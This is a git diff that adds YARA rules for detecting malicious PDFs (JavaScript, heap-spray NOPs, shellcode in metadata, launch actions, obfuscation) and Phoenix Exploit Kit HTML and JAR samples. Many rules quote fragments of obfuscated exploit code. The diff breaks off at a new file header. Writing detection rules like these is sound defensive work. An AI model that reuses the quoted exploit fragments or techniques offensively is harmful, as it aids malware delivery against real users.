+		$attrib0 = /\/JavaScript /
+		$attrib3 = /\/ASCIIHexDecode/
+		$attrib4 = /\/ASCII85Decode/
+
+		$action0 = /\/Action/
+		$action1 = "Array"
+		$shell = "A"
+		$cond0 = "unescape"
+		$cond1 = "String.fromCharCode"
+		
+		$nop = "%u9090%u9090"
+	condition:
+		$magic at 0 and (2 of ($attrib*)) or ($action0 and #shell > 10 and 1 of ($cond*)) or ($action1 and $cond0 and $nop)
+}
+
+rule shellcode_blob_metadata : PDF
+{
+        meta:
+                author = "Glenn Edwards (@hiddenillusion)"
+                version = "0.1"
+                description = "When there's a large Base64 blob inserted into metadata fields it often indicates shellcode to later be decoded"
+                weight = 4
+        strings:
+                $magic = { 25 50 44 46 }
+
+                $reg_keyword = /\/Keywords.?\(([a-zA-Z0-9]{200,})/ //~6k was observed in BHEHv2 PDF exploits holding the shellcode
+                $reg_author = /\/Author.?\(([a-zA-Z0-9]{200,})/
+                $reg_title = /\/Title.?\(([a-zA-Z0-9]{200,})/
+                $reg_producer = /\/Producer.?\(([a-zA-Z0-9]{200,})/
+                $reg_creator = /\/Creator.?\(([a-zA-Z0-9]{300,})/
+                $reg_create = /\/CreationDate.?\(([a-zA-Z0-9]{200,})/
+
+        condition:
+                $magic at 0 and 1 of ($reg*)
+}
+
+rule multiple_filtering : PDF 
+{
+        meta: 
+                author = "Glenn Edwards (@hiddenillusion)"
+                version = "0.2"
+                weight = 3
+                
+        strings:
+                $magic = { 25 50 44 46 }
+                $attrib = /\/Filter.*?(\/ASCIIHexDecode\W+|\/LZWDecode\W+|\/ASCII85Decode\W+|\/FlateDecode\W+|\/RunLengthDecode){2}/           
+				// left out: /CCITTFaxDecode, JBIG2Decode, DCTDecode, JPXDecode, Crypt
+
+        condition: 
+                $magic at 0 and $attrib
+}
+
+rule suspicious_js : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$attrib0 = /\/OpenAction /
+		$attrib1 = /\/JavaScript /
+
+		$js0 = "eval"
+		$js1 = "Array"
+		$js2 = "String.fromCharCode"
+		
+	condition:
+		$magic at 0 and all of ($attrib*) and 2 of ($js*)
+}
+
+rule suspicious_launch_action : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$attrib0 = /\/Launch/
+		$attrib1 = /\/URL /
+		$attrib2 = /\/Action/
+		$attrib3 = /\/F /
+
+	condition:
+		$magic at 0 and 3 of ($attrib*)
+}
+
+rule suspicious_embed : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		ref = "https://feliam.wordpress.com/2010/01/13/generic-pdf-exploit-hider-embedpdf-py-and-goodbye-av-detection-012010/"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$meth0 = /\/Launch/
+		$meth1 = /\/GoTo(E|R)/ //means go to embedded or remote
+		$attrib0 = /\/URL /
+		$attrib1 = /\/Action/
+		$attrib2 = /\/Filespec/
+		
+	condition:
+		$magic at 0 and 1 of ($meth*) and 2 of ($attrib*)
+}
+
+rule suspicious_obfuscation : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$reg = /\/\w#[a-zA-Z0-9]{2}#[a-zA-Z0-9]{2}/
+		
+	condition:
+		$magic at 0 and #reg > 5
+}
+
+rule invalid_XObject_js : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "XObject's require v1.4+"
+		ref = "https://blogs.adobe.com/ReferenceXObjects/"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$ver = /%PDF-1\.[4-9]/
+		
+		$attrib0 = /\/XObject/
+		$attrib1 = /\/JavaScript/
+		
+	condition:
+		$magic at 0 and not $ver and all of ($attrib*)
+}
+
+rule invalid_trailer_structure : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				// Required for a valid PDF
+                $reg0 = /trailer\r?\n?.*\/Size.*\r?\n?\.*/
+                $reg1 = /\/Root.*\r?\n?.*startxref\r?\n?.*\r?\n?%%EOF/
+
+        condition:
+                $magic at 0 and not $reg0 and not $reg1
+}
+
+rule multiple_versions : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+        description = "Written very generically and doesn't hold any weight - just something that might be useful to know about to help show incremental updates to the file being analyzed"		
+		weight = 0
+		
+        strings:
+                $magic = { 25 50 44 46 }
+                $s0 = "trailer"
+                $s1 = "%%EOF"
+
+        condition:
+                $magic at 0 and #s0 > 1 and #s1 > 1
+}
+
+rule js_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "JavaScript was introduced in v1.3"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 2
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/JavaScript/
+				$ver = /%PDF-1\.[3-9]/
+
+        condition:
+                $magic at 0 and $js and not $ver
+}
+
+rule JBIG2_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "JBIG2 was introduced in v1.4"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/JBIG2Decode/
+				$ver = /%PDF-1\.[4-9]/
+
+        condition:
+                $magic at 0 and $js and not $ver
+}
+
+rule FlateDecode_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "Flate was introduced in v1.2"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/FlateDecode/
+				$ver = /%PDF-1\.[2-9]/
+
+        condition:
+                $magic at 0 and $js and not $ver
+}
+
+rule embed_wrong_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "EmbeddedFiles were introduced in v1.3"
+		ref = "http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_1-7.pdf"
+		version = "0.1"
+		weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+				$embed = /\/EmbeddedFiles/
+				$ver = /%PDF-1\.[3-9]/
+
+        condition:
+                $magic at 0 and $embed and not $ver
+}
+
+rule invalid_xref_numbers : PDF
+{
+        meta:
+			author = "Glenn Edwards (@hiddenillusion)"
+			version = "0.1"
+			description = "The first entry in a cross-reference table is always free and has a generation number of 65,535"
+			notes = "This can be also be in a stream..."
+			weight = 1
+		
+        strings:
+                $magic = { 25 50 44 46 }
+                $reg0 = /xref\r?\n?.*\r?\n?.*65535\sf/
+                $reg1 = /endstream.*?\r?\n?endobj.*?\r?\n?startxref/
+        condition:
+                $magic at 0 and not $reg0 and not $reg1
+}
+
+rule js_splitting : PDF
+{
+        meta:
+                author = "Glenn Edwards (@hiddenillusion)"
+                version = "0.1"
+                description = "These are commonly used to split up JS code"
+                weight = 2
+                
+        strings:
+                $magic = { 25 50 44 46 }
+				$js = /\/JavaScript/
+                $s0 = "getAnnots"
+                $s1 = "getPageNumWords"
+                $s2 = "getPageNthWord"
+                $s3 = "this.info"
+                                
+        condition:
+                $magic at 0 and $js and 1 of ($s*)
+}
+
+rule BlackHole_v2 : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		ref = "http://fortknoxnetworks.blogspot.no/2012/10/blackhhole-exploit-kit-v-20-url-pattern.html"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$content = "Index[5 1 7 1 9 4 23 4 50"
+		
+	condition:
+		$magic at 0 and $content
+}
+
+
+rule XDP_embedded_PDF : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		ref = "http://blog.9bplus.com/av-bypass-for-malicious-pdfs-using-xdp"
+        weight = 1		
+
+	strings:
+		$s1 = "<pdf xmlns="
+		$s2 = "<chunk>"
+		$s3 = "</pdf>"
+		$header0 = "%PDF"
+		$header1 = "JVBERi0"
+
+	condition:
+		all of ($s*) and 1 of ($header*)
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html.yar b/yara-mikesxrs/codewatchorg/phoenix_html.yar
new file mode 100644
index 0000000..1062807
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html.yar
@@ -0,0 +1,23 @@
+rule phoenix_html
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "8395f08f1371eb7b2a2e131b92037f9a"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string1 = "'></applet><body id"
+	$string2 = "<applet mayscript"
+	$string3 = "/gmi,String.fromCharCode(2"
+	$string4 = "/gmi,' ').replace(/"
+	$string5 = "pe;i;;.j1s->c"
+	$string6 = "es4Det"
+	$string7 = "<textarea>function"
+        $string8 = ".replace(/"
+	$string9 = ".jar' code"
+	$string10 = ";iFc;ft'b)h{s"
+condition:
+	10 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html10.yar b/yara-mikesxrs/codewatchorg/phoenix_html10.yar
new file mode 100644
index 0000000..7e86862
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html10.yar
@@ -0,0 +1,31 @@
+rule phoenix_html10
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "f5f8dceca74a50076070f2593e82ec43"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "pae>crAeahoilL"
+	$string1 = "D11C0002C0069733E60656F6462070D000402DFF200696E"
+	$string2 = "nbte)bbn"
+	$string3 = "v9o16,0')0B80002328203;)82F00223A216ifA160A262A462(a"
+	$string4 = "0442DFD2E30EC80E42D2E00AC3F3D53C9CAEBFF7E1E805080B044057CB1C0EF7F263DC64E0CBE47C2A21E370EE4A"
+	$string5 = ";)npeits0e.uvr;][tvr"
+	$string6 = "433EBE90242003E00C606D04036563435805000102000v020E656wa.i118,0',9F902F282620''C62022646660}{A780232A"
+	$string7 = "350;var ysjzyq"
+	$string8 = "aSmd'lm/t/im.}d.-Ljg,l-"
+	$string9 = "0017687F6164706E6967060002008101'2176045ckb"
+	$string10 = "63(dcma)nenn869"
+	$string11 = "').replace(/"
+	$string12 = "xd'c0lrls09sare"
+	$string13 = "(]t.(7u(<p"
+	$string14 = "d{et;bdBcriYtc:eayF20'F62;23C4AABA3B84FE21C2B0B066C0038B8353AF5C0B4DF8FF43E85FB6F05CEC4080236F3CDE6E"
+	$string15 = "/var another;</textarea>"
+	$string16 = "Fa527496C62eShHmar(bA,pPec"
+	$string17 = "FaA244A676C,150e62A5B2B61,'2F"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html11.yar b/yara-mikesxrs/codewatchorg/phoenix_html11.yar
new file mode 100644
index 0000000..8deee3b
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html11.yar
@@ -0,0 +1,32 @@
+rule phoenix_html11
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "be8c81288f9650e205ed13f3167ce256"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "D'0009F0C6941617C43427A76080001000F47020C606volv99,0,6,"
+	$string1 = "';)nWd"
+	$string2 = "IW'eeCn)s.a9e;0CF300FF379011078E047873754163636960496270486264416455747D69737812060209011301010104D0"
+	$string3 = "D8D51F5100019006D60667F2E056940170E01010747"
+	$string4 = "515F2F436WemBh2A4560683aFanoi(utse.o1/f;pistelzi"
+	$string5 = "/p(e/oah)FHw'aaarDsnwi-"
+	$string6 = "COa506u%db10u%1057u%f850u%f500u%0683u%05a8u%0030u%0706u%d300u%585du%38d0u%0080u%5612u'u%A2DdF6u%1M:."
+	$string7 = "S(yt)Dj"
+	$string8 = "FaA26285325,150e8292A6968,'2F"
+	$string9 = "0200e{b<0:D>r5d4u%c005u%0028u%251eu%a095u%6028u%0028u%2500u%f7f7u%70d7u%2025u%9008u%08f8u%c607usu%37"
+	$string10 = "(mEtlltopo{{e"
+	$string11 = "aSmd'lm/t/im.}d.-Ljg,l-"
+	$string12 = "r)C4snfapfuo}"
+	$string13 = "').replace(/"
+	$string14 = "A282A5ifA160F2628206(a"
+	$string15 = "obn0cf"
+	$string16 = "d(i'C)rtr.'pvif)iv1ilW)S((Ltl.)2,0,9;0se"
+	$string17 = "E23s3003476B18703C179396D08B841BC554F11678F0FEB9505FB355E044F33A540F61743738327E32D97D070FA37D87s000"
+	$string18 = "603742E545904575'294E20680,6F902E292A60''E6202A4E6468},e))tep"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html2.yar b/yara-mikesxrs/codewatchorg/phoenix_html2.yar
new file mode 100644
index 0000000..752cc82
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html2.yar
@@ -0,0 +1,31 @@
+rule phoenix_html2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "2fd263f5d988a92715f4146a0006cb31"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Pec.lilsD)E)i-gonP(mgge.eOmn"
+	$string1 = "(trt;oo"
+	$string2 = "aceeC:0h"
+	$string3 = "Vubb.oec.n)a."
+	$string4 = "t;o{(bspd}ci:0OO[g(cfjdh}1sN}ntnrlt;0pwf{-"
+	$string5 = "seierb)gMle(}ev;is{(b;ga"
+	$string6 = "e)}ift"
+	$string7 = "Dud{rt"
+	$string8 = "blecroeely}diuFI-"
+	$string9 = "ttec]tr"
+	$string10 = "fSgcso"
+	$string11 = "eig.t)eR{t}aeesbdtbl{1sr)m"
+	$string12 = ").}n,Raa.s"
+	$string13 = "sLtfcb.nrf{Wiantscncad1ac)scb0eo]}Diuu(nar"
+	$string14 = "dxc.,:tfr(ucxRn"
+	$string15 = "eDnnforbyri(tbmns).[i.ee;dl(aNimp(l(h[u[ti;u)"
+	$string16 = "}tn)i{ebr,_.ns(Nes,,gm(ar.t"
+	$string17 = "l]it}N(pe3,iaaLds.)lqea:Ps00Hc;[{Euihlc)LiLI"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html3.yar b/yara-mikesxrs/codewatchorg/phoenix_html3.yar
new file mode 100644
index 0000000..427661d
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html3.yar
@@ -0,0 +1,32 @@
+rule phoenix_html3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "d7cacbff6438d866998fc8bfee18102d"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "mtfla/,)asaf)'}"
+	$string1 = "72267E7C'A3035CFC415DFAAA834B208D8C230FD303E2EFFE386BE05960C588C6E85650746E690C39F706F97DC74349BA134"
+	$string2 = "N'eiui7F6e617e00F145A002645E527BFF264842F877B2FFC1FE84BCC6A50F0305B5B0C36A019F53674FD4D3736C494BD5C2"
+	$string3 = "lndl}})<>"
+	$string4 = "otodc};b<0:D>r5d4u%c005u%0028u%251eu%a095u%6028u%0028u%2500u%f7f7u%70d7u%2025u%9008u%08f8u%c607usu%3"
+	$string5 = "tuJaboaopb"
+	$string6 = "a(vxf{p'tSowa.i,1NIWm("
+	$string7 = "2004et"
+	$string8 = "2054sttE5356496478"
+	$string9 = "yi%A%%A%%A%%A%Cvld3,5314,004,6211,931,,,011394617,983,1154,5,1,,1,1,13,08,4304,1"
+	$string10 = "0ovel04ervEeieeem)h))B(ihsAE;u%04b8u%1c08u%0e50u%a000u%1010u%4000u%20afu%0006u%2478u%0020u%1065u%210"
+	$string11 = "/gmi,String.fromCharCode(2"
+	$string12 = "ncBcaocta.ye"
+	$string13 = "0201010030004A033102090;na"
+	$string14 = "66u%0(ec'h{iis%%A%%A%%A%%A%frS1,,8187,1,4,11,91516,,61,,10841,1,13,,,11248,01818849,23,,,,791meits0e"
+	$string15 = "D11C0002C0069733E60656F6462070D000402DFF200696E"
+	$string16 = "810p0y98"
+	$string17 = "9,0,e'Fm692E583760"
+	$string18 = "57784234633a)(u"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html4.yar b/yara-mikesxrs/codewatchorg/phoenix_html4.yar
new file mode 100644
index 0000000..8844fed
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html4.yar
@@ -0,0 +1,27 @@
+rule phoenix_html4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "61fde003211ac83c2884fbecefe1fc80"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "/dr.php"
+	$string1 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+	$string2 = "launchjnlp"
+	$string3 = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"
+	$string4 = "urlmon.dll"
+	$string5 = "<body>"
+	$string6 = " docbase"
+	$string7 = "</html>"
+	$string8 = " classid"
+	$string9 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+	$string10 = "63AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+	$string11 = "</object>"
+	$string12 = "application/x-java-applet"
+	$string13 = "java_obj"
+condition:
+	13 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html5.yar b/yara-mikesxrs/codewatchorg/phoenix_html5.yar
new file mode 100644
index 0000000..c7c9352
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html5.yar
@@ -0,0 +1,30 @@
+rule phoenix_html5
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "30afdca94d301905819e00a7458f4a4e"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "dtesu}"
+	$string1 = "<textarea>function gvgsxoy(gwcqg1){return gwcqg1.replace(/"
+	$string2 = "v}Ahnhxwet"
+	$string3 = "0125C6BBA2B84F7A1D2940C04C8B7449A40EEB0D14C8003535C0042D75E05F0D7F3E0A7B4E33EB4D8D47119290FC"
+	$string4 = "a2Fs2325223869e'Fm2873367130"
+	$string5 = "m0000F0F6E66607C71646F6607000107FA61021F6060(aeWWIN"
+	$string6 = ")(r>hd1/dNasmd(fpas"
+	$string7 = "9,0,e'Fm692E583760"
+	$string8 = "5ud(dis"
+	$string9 = "nacmambuntcmi"
+	$string10 = "Fa078597467,1C0e674366871,'2F"
+	$string11 = "Fa56F386A76,180e828592024,'2F"
+	$string12 = "alA)(2avoyOi;ic)t6])teptp,an}tnv0i'fms<uic"
+	$string13 = "iR'nandee"
+	$string14 = "('0.aEa-9leal"
+	$string15 = "bsD0seF"
+	$string16 = "t.ck263/6F3a001CE7A2684067F98BEC18B738801EF1F7F7E49A088695050C000865FC38080FE23727E0E8DE9CB53E748472"
+condition:
+	16 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html6.yar b/yara-mikesxrs/codewatchorg/phoenix_html6.yar
new file mode 100644
index 0000000..ea58b89
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html6.yar
@@ -0,0 +1,31 @@
+rule phoenix_html6
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "4aabb710cf04240d26c13dd2b0ccd6cc"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "F4B6B2E67)A780A373A633;ast2316363677fa'es6F3635244"
+	$string1 = "piia.a}rneecc.cnuoir"
+	$string2 = "0448D5A54BE10A5DA628100AC3F3D53C9CAEBFF7E1E805080B044057CB1C0EF7F263DC64E0CBE47C2A21E55E9EA620000106"
+	$string3 = "],enEn..o"
+	$string4 = "o;1()sna"
+	$string5 = "(eres(0.,"
+	$string6 = "}fs2he}o.t"
+	$string7 = "f'u>jisch3;)Ie)C'eO"
+	$string8 = "refhiacei"
+	$string9 = "0026632528(sCE7A2684067F98BEC1s00000F512Fm286631666"
+	$string10 = "vev%80b4u%ee18u%28b8u%2617u%5c08u%0e50u%a000u%9006u%76efu%b1cbu%ba2fu%6850u%0524u%9720u%f70<}1msa950"
+	$string11 = "pdu,xziien,ie"
+	$string12 = "rr)l;.)vr.nbl"
+	$string13 = "ii)ruccs)1e"
+	$string14 = "F30476737930anD<tAhnhxwet"
+	$string15 = ")yf{(ee..erneef"
+	$string16 = "ieiiXuMkCSwetEet"
+	$string17 = "F308477E7A7itme"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html7.yar b/yara-mikesxrs/codewatchorg/phoenix_html7.yar
new file mode 100644
index 0000000..3abdca0
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html7.yar
@@ -0,0 +1,31 @@
+rule phoenix_html7
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "f0e1b391ec3ce515fd617648bec11681"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "EBF0a0001B05D266503046C7A491A0C00044F0002035D0D0twl''WIN"
+	$string1 = "ah80672528657"
+	$string2 = "n);tctt)Eltc(Dj"
+	$string3 = ";cnt2<tEf"
+	$string4 = "iwkne){bvfvgzg5"
+	$string5 = "..'an{ea-Ect'8-huJ.)/l'/tCaaa}<Ct95l"
+	$string6 = "'WIWhaFtF662F6577IseFe427347637"
+	$string7 = "ddTh75e{"
+	$string8 = "Ae'n,,9"
+	$string9 = "%E7E3Vemtyi"
+	$string10 = "cf'treran"
+	$string11 = "ncBcaocta.ye"
+	$string12 = ")'0,p8k"
+	$string13 = "0;{tc4F}c;eptdpduoCuuedPl80evD"
+	$string14 = "iq,q,Nd(nccfr'Bearc'nBtpw"
+	$string15 = ";)npeits0e.uvhF$I'"
+	$string16 = "nvasai0.-"
+	$string17 = "lmzv'is'"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html8.yar b/yara-mikesxrs/codewatchorg/phoenix_html8.yar
new file mode 100644
index 0000000..fc2e751
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html8.yar
@@ -0,0 +1,30 @@
+rule phoenix_html8
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "1c19a863fc4f8b13c0c7eb5e231bc3d1"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "0x5)).replace(/"
+	$string1 = "%A%%A%%nc(,145,9,84037,1711,,4121,56,1,,0505,,651,,3,514101,01,29,7868,90"
+	$string2 = "/gmi,String.fromCharCode(2"
+	$string3 = "turt;oo)s"
+	$string4 = "91;var jtdpar"
+	$string5 = "R(,13,7,63,48140601,5057,,319,,6,1,1,2,,110,0,1011171,2319,,,,10vEAs)tfmneyeh%A%%A%%A%%A%s<u91,4693,"
+	$string6 = "y%%A%%A%%A%%A.meo21117,7,1,,10,1,9,8,1,9,100,6,141003,74181,163,441114,43,207,,remc'ut"
+	$string7 = "epjtjqe){jtdpar"
+	$string8 = "/gmi,'"
+	$string9 = "<font></font><body id"
+	$string10 = " epjtjqe; fqczi > 0; fqczi--){for (bwjmgl7 "
+	$string11 = "nbte)bb(egs%A%%A%%A%%A%%m"
+	$string12 = "fvC9614165,,,1,1801151030,,0,,487641114,,1,141,914810036,,888,201te.)'etdc:ysaA%%A%%A%%A%%5sao,61,0,"
+	$string13 = "(tiAmrd{/tnA%%A%%A%%A%%Aiin11,,1637,34191,626958314,11007,,61145,411,7,9,1821,,43,8311,26;d'ebt.dyvs"
+	$string14 = "A%%A%%A%%Ao"
+	$string15 = "hrksywd(cpkwisk4);/"
+	$string16 = ";</script>"
+condition:
+	16 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_html9.yar b/yara-mikesxrs/codewatchorg/phoenix_html9.yar
new file mode 100644
index 0000000..25eb89d
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_html9.yar
@@ -0,0 +1,32 @@
+rule phoenix_html9
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "742d012b9df0c27ed6ccf3b234db20db"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "tute)bbr:"
+	$string1 = "nfho(tghRx"
+	$string2 = "()irfE/Rt..cOcC"
+	$string3 = "NcEnevbf"
+	$string4 = "63FB8B4296BBC290A0.'0000079'Fh20216B6A6arA;<"
+	$string5 = "wHe(cLnyeyet(a.i,r.{.."
+	$string6 = "tute)bbdfiiix'bcr"
+	$string7 = "itifdf)d1L2f'asau%d004u%8e00u%0419u%a58du%2093u%ec10u%0050u%00d4u%4622u%bcd1u%b1ceu%5000u%f7f5u%5606"
+	$string8 = "2F4693529783'82F076676C38'te"
+	$string9 = "sm(teoeoi)cfh))pihnipeeeo}.,(.(("
+	$string10 = "ao)ntavlll{))ynlcoix}hiN.il'tes1ad)bm;"
+	$string11 = "i)}m0f(eClei(/te"
+	$string12 = "}aetsc"
+	$string13 = "irefnig.pT"
+	$string14 = "a0mrIif/tbne,(wsk,"
+	$string15 = "500F14B06000000630E6B72636F60632C6E711C6E762E646F147F44767F650A0804061901020009006B120005A2006L"
+	$string16 = ".hB.Csf)ddeSs"
+	$string17 = "tnne,IPd4Le"
+	$string18 = "hMdarc'nBtpw"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_jar.yar b/yara-mikesxrs/codewatchorg/phoenix_jar.yar
new file mode 100644
index 0000000..f8ebe8b
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_jar.yar
@@ -0,0 +1,24 @@
+rule phoenix_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "a8a18219b02d30f44799415ff19c518e"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "r.JM,IM"
+	$string1 = "qX$8$a"
+	$string2 = "META-INF/services/javax.sound.midi.spi.MidiDeviceProvider5"
+	$string3 = "a.classPK"
+	$string4 = "6;\\Q]Q"
+	$string5 = "h[s] X"
+	$string6 = "ToolsDemoSubClass.classPK"
+	$string7 = "a.class"
+	$string8 = "META-INF/MANIFEST.MFPK"
+	$string9 = "ToolsDemoSubClass.classeO"
+	$string10 = "META-INF/services/javax.sound.midi.spi.MidiDeviceProviderPK"
+condition:
+	10 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_jar2.yar b/yara-mikesxrs/codewatchorg/phoenix_jar2.yar
new file mode 100644
index 0000000..8911f5b
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_jar2.yar
@@ -0,0 +1,28 @@
+rule phoenix_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "989c5b5eaddf48010e62343d7a4db6f4"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "a66d578f084.classeQ"
+	$string1 = "a4cb9b1a8a5.class"
+	$string2 = ")szNu\\MutK"
+	$string3 = "qCCwBU"
+	$string4 = "META-INF/MANIFEST.MF"
+	$string5 = "QR,GOX"
+	$string6 = "ab5601d4848.classmT"
+	$string7 = "a6a7a760c0e["
+	$string8 = "2ZUK[L"
+	$string9 = "2VT(Au5"
+	$string10 = "a6a7a760c0ePK"
+	$string11 = "aa79d1019d8.class"
+	$string12 = "aa79d1019d8.classPK"
+	$string13 = "META-INF/MANIFEST.MFPK"
+	$string14 = "ab5601d4848.classPK"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_jar3.yar b/yara-mikesxrs/codewatchorg/phoenix_jar3.yar
new file mode 100644
